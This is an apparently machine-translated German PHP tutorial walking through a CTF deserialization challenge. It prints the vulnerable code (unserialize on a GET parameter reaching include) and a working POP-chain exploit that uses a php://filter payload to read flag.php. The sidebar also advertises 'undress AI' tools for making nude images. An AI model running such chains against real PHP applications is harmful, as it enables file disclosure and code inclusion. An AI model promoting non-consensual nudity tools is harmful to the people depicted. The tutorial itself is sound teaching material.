Inhaltsverzeichnis
Pop-Chain-Konstruktion
Einführung in die Pop-Kette
Konstruktionsideen
Erklärung der Pop-Kette
Heim Backend-Entwicklung PHP-Tutorial Detaillierte Einführung in die Wissenspunkte der PHP-Deserialisierungs-Pop-Chain-Konstruktion

Detaillierte Einführung in die Wissenspunkte der PHP-Deserialisierungs-Pop-Chain-Konstruktion

May 05, 2022 pm 06:42 PM
php

Dieser Artikel vermittelt Ihnen relevantes Wissen über PHP, das hauptsächlich verwandte Themen zur Pop-Chain-Konstruktion vorstellt. Pop-Chain ist eine Art attributorientierte Programmierung, die häufig zum Erstellen von Aufrufketten verwendet wird. Ich hoffe, es hilft allen.

Detaillierte Einführung in die Wissenspunkte der PHP-Deserialisierungs-Pop-Chain-Konstruktion

Empfohlenes Lernen: „PHP-Video-Tutorial

Während wir weiterhin mehr über Deserialisierung erfahren, lernen wir etwas über die Struktur der Pop-Kette. Für einen Neuling wie mich ist diese Pop-Kette immer noch schwer zu verstehen. Ich werde diesen Artikel noch einmal schreiben, um ihn zusammenzufassen und mein Verständnis für den Aufbau von Pop-Ketten zu vertiefen. Gleichzeitig sorgt es auch für ein gewisses Verständnis für Freunde, die in die Falle tappen wollen.

Pop-Chain-Konstruktion

Allgemeine Deserialisierungsprobleme, bei denen Lücken vorhanden sind oder bösartiger Code in die magische Methode eingefügt werden kann, können wir den Angriffseffekt erzielen, indem wir die magische Methode automatisch aufrufen. Wenn jedoch der Injektionspunkt in einer gewöhnlichen Klassenmethode vorhanden ist, ist die zuvor automatisch aufgerufene Methode ungültig. Daher müssen wir die Verbindung zwischen der gewöhnlichen Klasse und der magischen Methode finden, eine logische Idee herausfinden und diese logische Idee zum Konstruieren verwenden eine Pop-Kette, um den Zweck des Angriffs zu erreichen. Wenn wir diese Art von Pop-Fragen stellen, müssen wir daher der magischen Methode große Aufmerksamkeit schenken.

Einführung in die Pop-Kette

Es handelt sich um eine Methode der attributorientierten Programmierung, die häufig zum Aufbau von Aufrufketten verwendet wird. Suchen Sie nach einer Reihe von Anweisungen, die im Code der Frage aufgerufen werden können, und integrieren Sie diese Anweisungen in einen logischen Code, der böswillige Angriffseffekte erzielen kann. Dies ist die Pop-Kette (persönliches Verständnis, Meister können gerne Meinungen abgeben) bei der Konstruktion Pop-Kette, magische Methoden sind unerlässlich. Im Folgenden wird anhand eines Beispiels erläutert, wie die Pop-Kette aufgebaut ist, sowie die spezifischen Konstruktionsideen.

Der Fragecode:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

Konstruktionsideen

Finden Sie beim Aufbau der Anrufkette zunächst den Kopf und das Ende des Anrufs Kette. Der Header ist im Allgemeinen ein Ort, an dem Parameter übergeben und deserialisiert werden können, während der Tail im Allgemeinen ein Ort ist, an dem Schadcode ausgeführt werden kann. Bei der Prüfung des Codes für diese Frage verwendet der Header die Get-Methode, um Parameter an Pop zu übergeben, und der Tail enthält die Include-Funktion. An diesem Punkt sollten wir alle wissen, dass wir das PHP-Pseudoprotokoll verwenden müssen, um den Quellcode der Flag-Datei zu lesen. Nachdem Kopf und Schwanz nun gefunden sind, kennen wir auch die Angriffsmethode. Finden Sie dann die magische Methode in der Frage.

__invoke()    当一个类被当作函数执行时调用此方法。

__construct   在创建对象时调用此方法

__toString()  在一个类被当作字符串处理时调用此方法

__wakeup()    当反序列化恢复成对象时调用此方法

__get()       当读取不可访问或不存在的属性的值会被调用

In der Frage sind insgesamt diese fünf Zaubermethoden enthalten. Finden Sie dann die Verbindung zwischen gewöhnlichen Klassen und magischen Methoden.

Es ist nicht schwer zu erkennen, dass es in der Wakeup-Funktion eine preg_match-Funktion gibt, die verwendet wird, um sensible Zeichenfolgen in der Quelle zu finden. Wir können von hier aus beginnen und die Quelle einer Show-Klasse zuweisen, dann wird die toString-Funktion verwendet automatisch ausgelöst, daher müssen wir jetzt die tostring-Methode verwenden. Um die Kette zu erweitern, können wir der Testklasse in der totring-Methode zuweisen und die Quellvariable in der Testklasse lesen (da es keine gibt). (Quellattribut in der Testklasse, auf ein unzugängliches Attribut wird zugegriffen.) Anschließend wird automatisch die get magic-Methode aufgerufen. Es kann festgestellt werden, dass es einen Funktionsaufruf in der get-Methode gibt. Dann können wir $this->p der Modifier-Klasse zuweisen und die invoke-Methode wird automatisch aufgerufen, um das von uns geschriebene PHP-Pseudoprotokoll auszuführen (zuweisen). var-Attribut in der Modifer-Klasse zu unserem Schadcode hinzufügen)

An diesem Punkt erstellen wir die Pop-Kette.

Erklärung der Pop-Kette

<?php
class Modifier {
	protected $var=&#39;php://filter/read=convert.base64-encode/resource=flag.php&#39;;
}
class Show{
	public $source;
	public $str;
	function _construct(){
		$this->source=$file;
	}
}
class Test{
	public $p;
}
$a = new show();
$b = new show();
$c = new test();
$d = new Modifier();
$a->source=$b;
$b->str=$c;
$c->p= $d;
echo urlencode(serialize($a));
?>

Schreiben Sie zuerst die Klassen auf, die zur Bildung eines Frameworks verwendet werden, und geben Sie dann die Variablen in den Klassen an. Instanziieren Sie die verwendeten Klassen separat. Warum müssen Sie new show zweimal verwenden? die erste Instanziierung. Quelle = zum zweiten Mal instanziiert anzeigen)

Versuchen Sie, bei der Serialisierung die URL-Codierung zu verwenden (diese Frage enthält geschützte geänderte Attribute und es werden unsichtbare Zeichen vorhanden sein)

Empfohlenes Lernen: „PHP-Video-Tutorial

Das obige ist der detaillierte Inhalt vonDetaillierte Einführung in die Wissenspunkte der PHP-Deserialisierungs-Pop-Chain-Konstruktion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Clothoff.io

Clothoff.io

KI-Kleiderentferner

Video Face Swap

Video Face Swap

Tauschen Sie Gesichter in jedem Video mühelos mit unserem völlig kostenlosen KI-Gesichtstausch-Tool aus!

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Was sind öffentlich, privat und in PHP geschützt Was sind öffentlich, privat und in PHP geschützt Aug 24, 2025 am 03:29 AM

Auf öffentliche Mitglieder können nach Belieben zugegriffen werden. 2. private Mitglieder können nur innerhalb der Klasse zugegriffen werden. 3.. Geschützte Mitglieder können in Klassen und Unterklassen zugegriffen werden. 4. Die rationale Verwendung kann die Sicherheit und die Wartbarkeit der Code verbessern.

So führen Sie eine Update -Abfrage in PHP aus So führen Sie eine Update -Abfrage in PHP aus Aug 24, 2025 am 05:04 AM

Mithilfe von mySQLI-objektorientierter Methode: Erstellen Sie eine Verbindung, Vorprozess-Update-Anweisungen, binden Sie Parameter, führen Sie die Ergebnisse aus und überprüfen Sie sie schließlich die Ressource. 2. Mithilfe der MySQLI -Prozedurmethode: Verbindung mit der Datenbank über Funktionen herstellen, Anweisungen vorbereiten, Parameter binden, Aktualisierungen durchführen und die Verbindung nach Verarbeitungsfehlern schließen. 3.. Verwenden Sie PDO: Stellen Sie eine Verbindung zur Datenbank über PDO ein, setzen Sie den Ausnahmemodus, stellen Sie SQL vor, binden Sie Parameter, führen Sie Aktualisierungen durch, verwenden Sie Try-Catch, um Ausnahmen zu verarbeiten und schließlich Ressourcen zu veröffentlichen. Verwenden Sie immer Vorverarbeitungsanweisungen, um die SQL -Injektion zu verhindern, die Benutzereingabe zu überprüfen und Verbindungen in der Zeit zu schließen.

So listen Sie verfügbare Zeitzonen auf So listen Sie verfügbare Zeitzonen auf Aug 24, 2025 am 12:04 AM

Um die vom System unterstützten Zeitzonen anzuzeigen, können Sie die folgenden Methoden gemäß verschiedenen Plattformen anwenden: 1. Linux/macOS verwendet den Befehl TimedateCtllist-TimeZones, um alle Zeitzonen aufzulisten, und können mit Grep filtriert werden. 2. Windows verwendet eine Eingabeaufforderung, um Tzutil/L oder PowerShell auszuführen, um Get-Time-Zone-ListaVa-Listaillierbar auszuführen. 3. In Python können Sie die von ZoneInfo unterstützte Zeitzone über Pytz.All_timezones erhalten oder auf die IANA -Datenbank zugreifen. V.

Wie lese ich eine CSV -Datei in PHP? Wie lese ich eine CSV -Datei in PHP? Aug 29, 2025 am 08:06 AM

ToreadacsvFileInphp, UseFopen () toopenthefile, fGetCSV () inaloopToreAdeachRowasanarray und FCLOSE () tocloseeit; HandhaderswithaseparatefgetCsv () CallandSpecifyDelimitersAsNeeded, zweifelnde und -ProperepathSandutf-8coding -SpectorpatherpathSandutf-8Coding -SpectorpatherpathSandutf-8Coding-Spuren,

So verwenden Sie Curl in PHP So verwenden Sie Curl in PHP Aug 24, 2025 am 08:32 AM

CurlinphpenablessendingHttprequests, Fetchingapidata, AnduploadingFiles.initializewithcurl_init (), setOptionslikecurlopt_urlandc URLOPT_RETURNTRANSFER, Usecurlopt_PostForpostrequests, SendjsonwithProperHeaders, HandleErrorsViacurl_errno () undhttpcodesWithCur

So verwenden Sie AJAX mit PHP So verwenden Sie AJAX mit PHP Aug 29, 2025 am 08:58 AM

AjaxWithPhenablesDynamicWebAppsbyendingAsynchronousRequestswitHoutpageroads.1.CreatehtmlwithjavaScriptUSUtfetch () tosendd ata.2.buildaphpScripttoprocessPostDataAndRetReturnResponses.3.usejsonforComplexDatahandLing.4.AlwaysSanitInputsanddebugviabro

Was ist der Unterschied zwischen Emission und leer in PHP Was ist der Unterschied zwischen Emission und leer in PHP Aug 27, 2025 am 08:38 AM

ISSET () checksifAvariableExistsandisnotnull, returningReEvenforzero, false, oremptystringvalues; 2.Ampty () ChecksifAvariableIsnull, false, 0, "0", "", Orundefined, returningReeforthse "falyy" Werte; 3.ISSet () returnsfalsefornoni. "

So konfigurieren Sie SMTP zum Senden von E -Mails in PHP So konfigurieren Sie SMTP zum Senden von E -Mails in PHP Aug 27, 2025 am 08:08 AM

Antwort: Verwenden der Phpmailer -Bibliothek, um den SMTP -Server zu konfigurieren, kann das Senden von E -Mails über SMTP in PHP -Anwendungen aktiviert werden. Phpmailer muss installiert, SMTP -Host, Port, Verschlüsselungsmethode und Authentifizierungsanmeldeinformationen von Google Mail einrichten, Code schreiben, um Sender, Empfänger, Thema und Inhalt festzulegen, 2FA zu aktivieren und das Anwendungskennwort zu verwenden, um sicherzustellen, dass der Server die SMTP -Verbindung ermöglicht, und schließlich die Send -Methode zum Senden von E -Mails anrufen.

See all articles